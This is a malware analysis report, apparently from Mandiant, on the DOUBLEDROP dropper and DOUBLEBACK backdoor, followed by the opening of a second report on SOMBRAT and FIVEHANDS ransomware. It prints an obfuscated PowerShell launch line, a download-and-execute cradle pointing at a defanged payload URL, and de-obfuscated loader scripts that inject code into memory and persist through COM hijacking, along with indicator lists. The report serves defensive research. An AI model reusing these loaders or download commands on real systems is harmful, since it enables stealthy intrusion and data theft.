"C:\Windows\System32\cmd.exe" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc <base64_encoded_ps_code>

Figure 3: De-obfuscated JavaScript downloader

The <base64_encoded_ps_code> downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4.

IEX (New-Object Net.Webclient).downloadstring("hxxp://p-leh[.]com/update_java.dat")

Figure 4: Downloading and executing of the DOUBLEDROP dropper

DOUBLEDROP Dropper component

Overview

The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution.

Setup

The dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised system's registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section). In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5.

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_0>}
       * key: LocalServer
              * value: <default>
                      * data: <bootstrap_ps_code>
       * key: ProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <encoded_loader>
       * key: VersionIndependentProgID
              * value: <default>
                      * data: <rnd_guid_1>
              * value: <first_4_chars_of_rnd_guid_0>
                      * data: <encoded_rc4_key>
              * value: <last_4_chars_of_rnd_guid_0>
                      * data: <rc4_encrypted_payload>

* HK[CU|LM]\Software\Classes\{<rnd_guid_1>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: CLSID
              * value: <default>
                      * data: <rnd_guid_0>

* HK[CU|LM]\Software\Classes\CLSID\{<rnd_guid_2>}
       * value: <default>
              * data: <rnd_guid_1>
       * key: TreatAs
              * value: <default>
                      * data: <rnd_guid_0>

Figure 5: Registry keys and values created by the dropper

Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {<rnd_guid_0>} registry key as shown in Figure 5. Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!).

<relative_offset> = buffer[32]
buffer[32 + <relative_offset> + 1] = <reversed_rc4_key>

Figure 6: Encoding of the RC4 key

Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5).

At this point all the necessary steps that ensure the payload's persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections.

Persistence Mechanism

The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not.

If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID - the {<rnd_guid_2>} GUID (See Figure 5). Once executed by the system, the task finds the {<rnd_guid_2>} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {<rnd_guid_0>} emulator class ID defines a registry key LocalServer and its default value will be executed by the task.

If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key's default registry value points to the {<rnd_guid_0>} emulator class essentially achieving the same execution sequence as in the elevated privilege case.

Bootstrap

The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator's class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes. 

The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process. A decoded and sanitized version of the script is shown in Figure 7.

$enc = [System.Text.Encoding]::UTF8;
$loader = Get-ItemProperty
    -Path($enc.GetString([Convert]::FromBase64String('<base64_encoded_path_to_launcher>')))
    -n '<launcher_reg_val>' | Select-Object -ExpandProperty '<launcher_reg_val>';
$xor_val = <xor_val>;
iex(
    $enc.GetString($(
        for ($i = 0; $i -lt $loader.Length; $i++) {
            if ($xor_val -ge 250) {
                $xor_val = 0
            }
            $loader[$i] -bxor $xor_val;
            $xor_val += 4
        }
    ))
)

Figure 7: De-obfuscated and sanitized bootstrap code

Note that the actual values for <base64_encoded_path_to_launcher>, <launcher_reg_val>, and <xor_val> are generated on the fly by the dropper and will be different across the compromised systems.

The encoding of the launcher is implemented as a simple rolling XOR that is incremented after each iteration. The following code snippet (Figure 8) could be used to either encode or decode the launcher, given the initial key.

def encdec(src, key):
    out = bytearray()
    for b in src:
        if key >= 250:
            key = 0
        out.append(b ^ key)
        key += 4
    return out

Figure 8: Algorithm to Decode the Launcher

Once the launcher is decoded it is executed within the same PowerShell process as the bootstrap by calling the iex (Invoke-Expression) command.

Launcher

The launcher responsibility, after being executed by the bootstrap code, is to decrypt and execute the payload saved under the VersionIndependentProgID registry key. To do so, the launcher first decodes the RC4 key provided in the <first_4_chars_of_rnd_guid_0> value (see Figure 5) and then uses it to decrypt the payload. Once the payload is decrypted, the launcher allocates virtual memory enough to house the image in memory, copies it there, and finally creates a thread around the entry point specified in the dropper. The function at that entry point is expected to lay the image in memory, to relocate the image, if necessary, to resolve the imports and finally—to execute the payload's entry point.

A sanitized and somewhat de-obfuscated version of the launcher is shown in Figure 9.

function DecryptPayload {
    param($fn7, $xf7, $mb5)
    $fn1 = Get-ItemProperty -Path $fn7 -n $mb5 | Select-Object -ExpandProperty $mb5;
    $en8 = ($fn1[32] + (19 + (((5 - 2) + 0) + 11)));
    $ow7 = $fn1[$en8..($en8 + 31)];
    [array]::Reverse($ow7);
    $fn1 = Get-ItemProperty -Path $fn7 -n $xf7 | Select-Object -ExpandProperty $xf7;
    $en8 = {
        $xk2 = 0..255;
        0..255 | % {
            $wn4 = ($wn4 + $xk2[$_] + $ow7[$_ % $ow7.Length]) % (275 - (3 + (11 + 5)));
            $xk2[$_], $xk2[$wn4] = $xk2[$wn4], $xk2[$_]
        };
        $fn1 | % {
            $sp3 = ($sp3 + 1) % (275 - 19);
            $si9 = ($si9 + $xk2[$sp3]) % ((600 - 280) - 64);
            $xk2[$sp3], $xk2[$si9] = $xk2[$si9], $xk2[$sp3];
            $_-bxor$xk2[($xk2[$sp3] + $xk2[$si9]) % (343 - ((1 + 0) + 86))]
        }
    };
    $ry6 = (& $en8 | foreach-object { '{0:X2}' -f $_ }) -join '';
    ($(for ($sp3 = 0; $sp3 -lt $ry6.Length; $sp3 += 2) {
                [convert]::ToByte($ry6.Substring($sp3, 2), (17 - ((1 + 0))))
            }
        )
    )
}

function ExecuteApi {
    param($fn7, $xf7)
    $vy9 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('?RND?')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('?RND?', $false).DefineType('?RND?', 'Class,Public,Sealed,AnsiClass,AutoClass', [System.MulticastDelegate]);
    $vy9.DefineConstructor('RTSpecialName,HideBySig,Public', [System.Reflection.CallingConventions]::Standard, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.DefineMethod('Invoke', 'Public,HideBySig,NewSlot,Virtual', $xf7, $fn7).SetImplementationFlags('Runtime,Managed');
    $vy9.CreateType()
}

function GetProcAddress {
    param($fn7)
    $fq3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods');
    $lr3 = New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($fq3.GetMethod('GetModuleHandle').Invoke(0, @('kernel32.dll'))));
    $fq3.GetMethod('GetProcAddress', [reflection.bindingflags] 'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null).Invoke($null, @([System.Runtime.InteropServices.HandleRef]$lr3, $fn7))
}

$decryptedPayload = DecryptPayload 'hklm:\software\classes\CLSID\<rnd_guid_0>\VersionIndependentProgID' '<reg_val_payload>' '<reg_val_rc4_key>';

function InjectPayload {
    param($payload, $payloadLen, $entryPoint, $access)
    $mem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'VirtualAllocEx'), (ExecuteApi @([IntPtr], [IntPtr], [IntPtr], [int], [int])([Intptr]))).invoke(-1, 0, $payloadLen, 0x3000, $access);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'RtlMoveMemory'), (ExecuteApi @([IntPtr], [byte[]], [UInt32])([Intptr]))).invoke($mem, $payload, $payloadLen);
    $mem = New-Object System.Intptr -ArgumentList $($mem.ToInt64() + $entryPoint);

    [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((GetProcAddress 'CreateThread'), (ExecuteApi @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([Intptr]))).invoke(0, 0, $mem, 0, 0, 0);
    Start-Sleep -s (((2673 - 942) + 1271))
}

# 0x36dc = Loader Entry Point, rva
# 0x40 = PAGE_EXECUTE_READWRITE
InjectPayload $decryptedPayload $decryptedPayload.length 0x36dc 0x40

Figure 9: De-obfuscated and sanitized launcher script

DOUBLEBACK Backdoor component

Overview

The observed DOUBLEDROP instances contain a well-designed backdoor implemented as a 32 or 64-bit PE dynamic library which we track as DOUBLEBACK. The backdoor is initially mapped into the same PowerShell process started by the bootstrap script, but it will then inject itself into a msiexec.exe process if certain conditions are met. By design, the core of the backdoor functionality is intended to be executed after injected into a newly spawned msiexec.exe process. 

In contrast with other backdoors DOUBLEBACK does not have its services hardcoded and the functionality is expected to be implemented as plugins that are expected to be serialized in the registry database under a host-specific registry path. That way, the backdoor can be configured to implement a flexible set of services depending on the target. With all the common functionality implemented as plugins, the backdoor’s main goal is to establish a communication framework ensuring data integrity between the C2 server and the appropriate plugins.

Details

The backdoor starts by retrieving its process name and ensures that it is either powershell.exe or msiexec.exe. In all other cases, the malware will immediately terminate itself. Normally, when first started on the system, the backdoor will be injected into the same PowerShell process that executes both the bootstrap code and the launcher. In that mode the malware may spawn (depending on certain conditions) a msiexec process and injects itself into it. More details about the logic implemented in the PowerShell and the msiexec branches are provided in the following sections. 

Next, the backdoor ensures that it is the only DOUBLEBACK instance currently executing on the compromised system. To do that, the malware generates a host-based pseudo-unique GUID and uses it as a mutex name. The algorithm first generates a pseudo-unique host identifier that is based on the system volume's serial number and a hardcoded salt value, as shown in Figure 10.

# oberserved salt = 0x436ea76d
def gen_host_id(vol_ser_num, salt):
    salted_val = (vol_ser_num + salt) & 0xffffffff
    md5 = hashlib.md5(bytes(salted_val.to_bytes(4, 'little')))
    second_dword = struct.unpack('<i', md5.digest()[4:8])[0]
    return (salted_val + second_dword) & 0xffffffff

Figure 10: Host ID generation algorithm

Next, the malware passes the generated host ID to another algorithm that generates a pseudo-unique GUID based on the input, as shown in Figure 11.

# src is the host ID
def gen_guid(src):
    b = bytearray()
    xor = 0xaabbccdd
    for _ in range(4):
        b += src.to_bytes(4, byteorder='little')
        src ^= xor
        xor = (xor + xor) & 0xffffffff
    return uuid.UUID(bytes_le=bytes(b))

Figure 11: GUID generation algorithm

Once the GUID is generated the malware formats it as Global\{<guid>} and attempts to open a mutex with that name. In case the mutex is already created the backdoor assumes that another instance of itself is already running and terminates itself. Otherwise, the backdoor creates the mutex and branches out depending on the detected process it currently mapped into.

Executing Within the PowerShell Process

The initial state of the backdoor execution is when it is mapped into a PowerShell process created by the bootstrap code. In this mode, the backdoor attempts to relocate itself into a new instance of msiexec.exe. Before the injection is attempted, the backdoor enumerates the running processes looking for Kaspersky Antivirus (avp.exe, avpui.exe) or BitDefender (bdagent.exe, bdservbdagent.exe, bdservicehost.exe) engines. This part of the functionality seems to be a work in progress because the malware ignores the fact if the Kaspersky software is detected but it will not attempt injecting into the msiexec.exe process in case BitDefender is found running on the compromised system. In the latter case, the backdoor's main functionality will be executed inside the same PowerShell process and no new instance of msiexec.exe will be created.

The injection process involves finding the backdoor's image under the appropriate registry key. Note, that the backdoor instance we have observed in the first wave does not handle situations when the malware ecosystem is installed as an administrator—such cases would end up with the backdoor not able to locate its image for injecting. In all other cases, the malware starts with the well-known class GUIDs of the PlaySoundService and MsCtfMonitor classes and attempts to find which of them has the TreatAs registry key under their definition. Once the TreatAs key is found, its default registry value points to the registry key that has the RC4-encrypted backdoor image and the encoded RC4 key both described in the previous section of the post.

With the backdoor image loaded in memory and decrypted, the malware spawns a suspended process around msiexec.exe and inject its image into it. The backdoor PE file exports a single function that is used to lay down its own image in memory and execute its DllMain entry point. The export function allocates the needed memory, relocates the image, if needed, resolves the imports and finally executes the backdoor’s DllMain function.

At this point the backdoor is running inside the hijacked msiexec.exe and the instance inside the PowerShell process terminates itself.

Executing as Injected in the msiexec.exe Process

Overview

The DOUBLEBACK backdoor executes its main functionality while injected in a dedicated msiexec.exe process (provided BitDefender AV is not found running on the system). The main logical modules of the backdoor are its configuration, plugin management, and communications. In the following sections we will describe the first two, while a future blog post will focus on the communications and the evolution of the backdoor.

Configuration

The backdoor uses an embedded configuration that contains the C2 URLs and a key (more about the key in the second part of the post). The configuration data is formatted as shown in Figure 12.

struct tag_config_header_t {
    uint32_t xor_val_1;
    uint32_t xor_val_2;
    uint32_t xor_val_3;
    uint32_t xor_val_4;
} config_header_t;

struct tag_config_t {
    config_header_t header;
    uint8_t encoded_config[];
} config_t;

Figure 12: Encoded configuration format

The length of the encoded_config data is provided by the XOR-ing of the xor_val_1 and xor_val_2 fields of the config_header_t structure. The config_t.encoded_config blob can be decoded by XOR-ing the data with the config_header_t.xor_val_1.

The decoded configuration data consists of a comma-separated list of URLs followed by a key that is used in the communication module. The first two bytes specify the lengths of the comma-separated URL list and the key, respectively. The URLs in the observed samples follow the pattern shown in Figure 13.

https://<server>/admin<n>/client.php

Figure 13: Observed C2 URL pattern

The initial sample did not have any value for <n> but the samples after that were observed to use <n> equal to 4 or 5.

Plugin Management

The backdoor's core functionality is implemented via plugins designed as PE Windows dynamic libraries. The plugins, as with the other backdoor components, are also saved in the registry database under a host-specific registry key. The full path to the plugins location is formatted as HK[LM|CU]:\Software\Classes\CLSID\{<plugins_home_guid>}, where <plugins_home_guid> is generated by the GUID algorithm shown in Figure 11 with a host-specific value we call implant ID which is used not only to generate the path to the plugins but with the backdoor’s C2 communications and it is also passed as a parameter to each of the plugins during their initialization. The implant ID is generated by seeding the Linear Congruential Generator (LCG) algorithm, shown in Figure 14, with the host ID and the <max_range> value is set to 0x54c5638. The value generated by the LCG is then added to 0x989680 and the result serves as the implant ID.

def lcg(max_range):
    global seed
    if seed == 0:
        seed = get_RDTSC()
    n = (0x7fffffed * seed + 0x7fffffc3) & 0xffffffff
    val = n % max_range
    seed = n
    return val

Figure 14: Linear Congruential Generator used by the backdoor

The backdoor enumerates all the registry values under the plugins home location (the registry value names are insignificant) and expects each of the plugins to be formatted, as shown in Figure 15.

struct tag_plugin_header_t {
    uint32_t xor_val;
    uint32_t param_2; the second parameter of the pfn_init
    uint32_t len_1;
    uint32_t len_2;
    uint32_t pfn_init;
    uint32_t pfn_cleanup;
    uint32_t param_3; the third parameter of the pfn_init
    uint32_t unused;
} plugin_header_t;

struct tag_plugin_t {
       plugin_header_t header;
       uint8_t encoded_plugin[];
} plugin_t;

Figure 15: Encoded plugins format

As shown in Figure 15, the plugin data starts with a 32-byte long header followed by the encoded plugin DLL. The plugin encoding is implemented as a combination of rolling DWORD/BYTE XOR with initial value specified by the plugin_header_t.xor_val value. The plugin_header_t.len_1 stores the number of DWORDS to be decoded with plugin_header_t.xor_val which is incremented by 4 after each iteration. The plugin_header_t.len_2 specifies the number of bytes to be decoded at the current position after the previous operation with the current value of the plugin_header_t.xor_val (only the least significant byte is taken). In this mode the plugin_header_t.xor_val value is incremented by one after each iteration.

The plugins are expected to export at least two functions—one for initialization and another to clean up the resources before unloading. The initialization routine takes four parameters—two from the header and two calculated by the backdoor, as shown Figure 16.

pfn_init(implant_id, plugin_header_t.param_2, plugin_header_t.param_3, p_plugin_image_in_memory)

Figure 16: Plugins initialization routine prototype

The current backdoor's implementation provides support for up to 32 plugins with each of them mapped and initialized in the backdoor's process space.

Additional Notes

The first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was clearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the DOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the dropper from the file system. The dropper would save its current location on disk in the default registry value under the HK[LM|CU]:\Software\Classes key. The backdoor spawns a dedicated thread that retrieves the dropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte before deleting the dropper from the file system.

Additionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated PowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys created under the HKLM hive but the backdoor does not support that case and will not be able to find its image under the specific key in order to inject itself into the msiexec.exe process.

Finally, the backdoor would output debug information in a few cases using the OutputDebugString API. Interestingly, the format and the generation of the log message is the same as the one used in the publicly available PEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is distributed with modules that allow it to manipulate files generated by common Russian payment processing software that is used to assess and process VAT refunds. When executed on a workstation running targeted software, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax refunds to attacker-controlled bank accounts.

Conclusion

Considerable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50 domains supported various phases of the effort, targets were researched, and a legitimate third-party domain was compromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to deliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced. The identified wide-ranging targets, across geography and industry suggests a financial crime motive.

DOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by UNC2529 to compromise victims across all industries worldwide.

Technical Indicators

DOUBLEDRAG / BIFF8

Files

MD5

Role

Wave

39fc804566d02c35f3f9d67be52bee0d

DOUBLEDRAG

1st

44f7af834ee7387ac5d99a676a03cfdd

DOUBLEDRAG

1st

4e5583e34ad54fa7d1617f400281ba56

PDF Decoy

1st

e80dc4c3e26deddcc44e66bb19b6fb58

PDF Decoy

1st

169c4d96138d3ff73097c2a9aab5b1c0

Zip

1st

e70502d020ba707095d46810fd32ee49

Zip

1st

62fb99dc271abc104504212157a4ba91

Excel BIFF8 macro

2nd

1d3fcb7808495bd403973a0472291da5

PDF Decoy

2nd

6a1da7ee620c638bd494f4e24f6f1ca9

Zip

2nd

a28236b43f014c15f7ad4c2b4daf1490

Zip

2nd

d594b3bce66b8b56881febd38aa075fb

Zip

2nd

Domains

Dec. 2, 2020 Wave

Dec. 11 to 18, 2020 Wave

adupla[.]net

aibemarle[.]com

ceylonbungalows[.]net

bestwalletforbitcoin[.]com

chandol[.]com

bitcoinsacks[.]com

closetdeal[.]com

digitalagencyleeds[.]com

daldhillon[.]com

erbilmarriott[.]com

desmoncreative[.]com

ethernetpedia[.]com

farmpork[.]com

fileamazon[.]com

gemralph[.]com

gamesaccommodationscotland[.]com

isjustlunch[.]com

greathabibgroup[.]com

logicmyass[.]com

infomarketx[.]com

lottoangels[.]com

jagunconsult[.]com

mangoldsengers[.]com

khodaycontrolsystem[.]com

oconeeveteransmemorial[.]com

maninashop[.]com

scottishhandcraft[.]com

onceprojects[.]com

seathisons[.]com

simcardhosting[.]com

skysatcam[.]com

stayzarentals[.]com

smartnhappy[.]com

touristboardaccommodation[.]com

stepearn[.]com

towncentrehotel[.]com

sugarmummylove[.]com

vacuumcleanerpartsstore[.]com

techooze[.]com

zmrtu[.]com

tigertigerbeads[.]com

 

totallyhealth-wealth[.]com

 

towncenterhotel[.]com

 

uaeworkpermit[.]com

 

DOUBLEDROP

MD5

  • 4b32115487b4734f2723d461856af155
  • 9e3f7e6697843075de537a8ba83da541
  • cc17e0a3a15da6a83b06b425ed79d84c

URLs

  • hxxp://p-leh[.]com/update_java.dat
  • hxxp://clanvisits[.]com/mini.dat
  • hxxps://towncentrehotels[.]com/ps1.dat
DOUBLEBACK

MD5

  • 1aeecb2827babb42468d8257aa6afdeb
  • 1bdf780ea6ff3abee41fe9f48d355592
  • 1f285e496096168fbed415e6496a172f
  • 6a3a0d3d239f04ffd0666b522b8fcbaa
  • ce02ef6efe6171cd5d1b4477e40a3989
  • fa9e686b811a1d921623947b8fd56337

URLs

  • hxxps://klikbets[.]net/admin/client.php
  • hxxps://lasartoria[.]net/admin/client.php
  • hxxps://barrel1999[.]com/admin4/client.php
  • hxxps://widestaticsinfo[.]com/admin4/client.php
  • hxxps://secureinternet20[.]com/admin5/client.php
  • hxxps://adsinfocoast[.]com/admin5/client.php

Detections

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of exploitation or post-exploitation activities we associate with UNC2529.

Platforms

Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FEC_Trojan_JS_DOUBLEDRAG_1 (static)
  • FE_Trojan_JS_DOUBLEDRAG_1 (static)
  • Downloader.DOUBLEDRAG (network)
  • Downloader.JS.DOUBLEDRAG.MVX (dynamic)
  • FE_Dropper_PS1_DOUBLEDROP_1 (static)
  • FEC_Dropper_PS1_DOUBLEDROP_1 (static)
  • Dropper.PS1.DOUBLEDROP.MVX (dynamic)
  • FE_Backdoor_Win_DOUBLEBACK_1 (static)
  • FE_Backdoor_Win_DOUBLEBACK_2 (static)
  • FE_Backdoor_Win_DOUBLEBACK_3 (static)
  • FE_Backdoor_Win_DOUBLEBACK_4 (static)
  • Backdoor.Win.DOUBLEBACK (network)
  • Malware.Binary.xls

Endpoint Security

Real-Time (IOC)

  • POWERSHELL ENCODED REMOTE DOWNLOAD (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • MALICIOUS SCRIPT CONTENT A (METHODOLOGY)
  • POWERSHELL INVOCATION FROM REGISTRY ARTIFACT (METHODOLOGY)

Malware Protection (AV/MG)

  • Generic.mg.1aeecb2827babb42
  • Generic.mg.1bdf780ea6ff3abe
  • Generic.mg.1f285e496096168f
  • Generic.mg.6a3a0d3d239f04ff
  • Generic.mg.ce02ef6efe6171cd
  • Generic.mg.fa9e686b811a1d92
  • Trojan.JS.Agent.TZP
  • Gen:Variant.Ulise.150277
  • Gen:Variant.Ulise.150283
  • Gen:Variant.Razy.799918

UNC2529 MITRE ATT&CK Mapping

ATT&CK Tactic Category

Techniques

Resource Development

Initial Access

Execution

Privilege Escalation

Defense Evasion

Discovery

Collection

Command and Control

Acknowledgements

Thank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of this content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation, and Ana Foreman for graphics support.

UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat

29 April 2021 at 21:00

Mandiant has observed an aggressive financially motivated group, UNC2447, exploiting one SonicWall VPN zero-day vulnerability prior to a patch being available and deploying sophisticated malware previously reported by other vendors as SOMBRAT. Mandiant has linked the use of SOMBRAT to the deployment of ransomware, which has not been previously reported publicly.

UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums. UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics.

Mandiant has observed evidence of UNC2447 affiliated actors previously using RAGNARLOCKER ransomware. Based on technical and temporal observations of HELLOKITTY and FIVEHANDS deployments, Mandiant suspects that HELLOKITTY may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021.

Background

In November 2020, Mandiant created UNC2447, an uncategorized group observed using the novel WARPRISM PowerShell dropper to install BEACON at two Mandiant Managed Defense clients. Mandiant Managed Defence quicky neutralized these intrusions and did not observe attempts to deploy ransomware.

In January and February 2021, Mandiant Consulting observed a novel rewrite of DEATHRANSOM—dubbed FIVEHANDS—along with SOMBRAT at multiple victims that were extorted. During one of the ransomware intrusions, the same WARPRISM and BEACON samples previously clustered under UNC2447 were observed. Mandiant was able to forensically link the use of WARPRISM, BEACON, SOMBRAT and FIVEHANDS to the same actor.

Mandiant suspects that HELLOKITTY activity in late-2020 may be related to the overall affiliate program and that usage shifted to FIVEHANDS ransomware beginning in January 2021.

  • In April 2021, Mandiant observed a private FIVEHANDS TOR chat using a HELLOKITTY favicon (Figure 1).


Figure 1: FIVEHANDS Hello Kitty icon

When affiliate-based ransomware is observed by Mandiant, uncategorized clusters are assigned based on the infrastructure used, and in the case of UNC2447 were based on the SOMBRAT and Cobalt Strike BEACON infrastructure used across 5 intrusions between November 2020 and February 2021. Generally, Mandiant uses caution even with novel malware such as SOMBRAT and WARPRISM and clusters each use rigorously according to all observed activity. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors."

SonicWall SMA 100 Series Appliance Vulnerability

CVE-2021-20016 is a critical SQL injection vulnerability that exploits unpatched SonicWall Secure Mobile Access SMA 100 series remote access products. A remote, unauthenticated attacker could submit a specially crafted query in order to exploit the vulnerability. Successful exploitation would grant an attacker the ability to access login credentials (username, password) as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance. This vulnerability only impacted the SMA 100 series and was patched by SonicWall in February 2021. For more information on this vulnerability, please refer to SonicWall PSIRT advisory SNWLID-2021-0001.

WARPRISM

WARPRISM is a PowerShell dropper that has been observed by Mandiant delivering SUNCRYPT, BEACON, and MIMIKATZ. WARPRISM is used to evade endpoint detection and will load its payload directly into memory. WARPRISM may be used by multiple groups.

FOXGRABBER

FOXGRABBER is a command line utility used to harvest FireFox credential files from remote systems. It contains the PDB path: C:\Users\kolobko\Source\Repos\grabff\obj\Debug\grabff.pdb. FOXGRABBER has also been observed in DARKSIDE ransomware intrusions.

BEACON Malleable Profiles

In the initial stages of an intrusion, UNC2447 uses the Cobalt Strike BEACON HTTPSSTAGER implant for persistence to communicate with command-and-control (C2) servers over HTTPS and has been observed using ‘chches_APT10’ and ‘Havex’ Malleable profiles.

UNC2447 Toolbox

During the recon and exfiltration stage of intrusions, UNC2447 has been observed using the following tools: ADFIND, BLOODHOUND, MIMIKATZ, PCHUNTER, RCLONE, ROUTERSCAN, S3BROWSER, ZAP and 7ZIP. UNC2447 may tamper with windows security settings, firewall rules, and antivirus protection.

SOMBRAT Overview

SOMBRAT was first reported by Blackberry Cylance in November 2020 as "The CostaRicto Campaign: Cyber-Espionage Outsourced" as a potential espionage-for-hire criminal group. Mandiant has now observed SOMBRAT alongside FIVEHANDS ransomware intrusions.

The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines.

The SOMBRAT Launcher

This SOMBRAT backdoor variant must be deployed alongside four additional resources that serve as launchers. They are typically installed to the hardcoded directory path `C:\ProgramData\Microsoft`. 

  • path: `C:\programdata\Microsoft\WwanSvc.bat` - launcher for `WwanSvc.txt`
  • path: `C:\programdata\Microsoft\WwanSvc.txt` - decoder and launcher for `WwanSvc.c`
  • path: `C:\programdata\Microsoft\WwanSvc.c` - decoder and launcher for `WwanSvc.b`
  • path: `C:\programdata\Microsoft\WwanSvc.a` - XOR key
  • path: `C:\programdata\Microsoft\WwanSvc.b` - encoded SOMBRAT backdoor
  • path: `%TEMP%\<possibly unique random name>` - encrypted storage file
  • path: `%TEMP%\<possibly unique random name _<integer>` - encrypted storage file
  • path: `C:\ProgramData\<possibly unique random name ` - encrypted configuration file

Other variations of the filenames were observed such as ntuser and wapsvc.

SOMBRAT Technical Details

The SOMBRAT backdoor is written in modern C++ and implemented as a collection of "plugins" that interoperate with one another. There are five plugins distributed with this variant: `core`, `network`, `storage`, `taskman`, and `debug` (the `config` plugin described by Blackberry is not present). The core plugins communicate with the C2 server via messages sent over a common networking layer; each plugin supports its own set of messages, and the backdoor protocol can be extended by dynamically loaded plugins.

The `core` plugin coordinates state tracking, such as network connectivity, and dynamic plugin loading and unloading. The `network` plugin configures the networking layer used to communicate with the C2 server, for example enabling the operator to switch between DNS and TCP protocols. The `storage` plugin exposes logical operations, such as read and write, for an encrypted file used to store plugins, resources, and arbitrary data. The `taskman` plugin enables the operator to list and kill processes on the compromised system. Finally, the `debuglog` plugin supports a single command to records debug messages.

Given that the core plugins do not enable an operator directly execute arbitrary commands or reconfigure the system, the primary function of the SOMBRAT backdoor is to load plugins provided via the C2 server. These plugins may be shellcode or DLL modules to be dynamically loaded. The C2 server may instruct the backdoor to load the plugins directly or persist them into the encrypted storage file, where they may subsequently be reloaded, such as after upgrading the backdoor.


Figure 2: Malware author mark “No one is perfect except me.”

SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c`.

SOMBRAT Network Communications

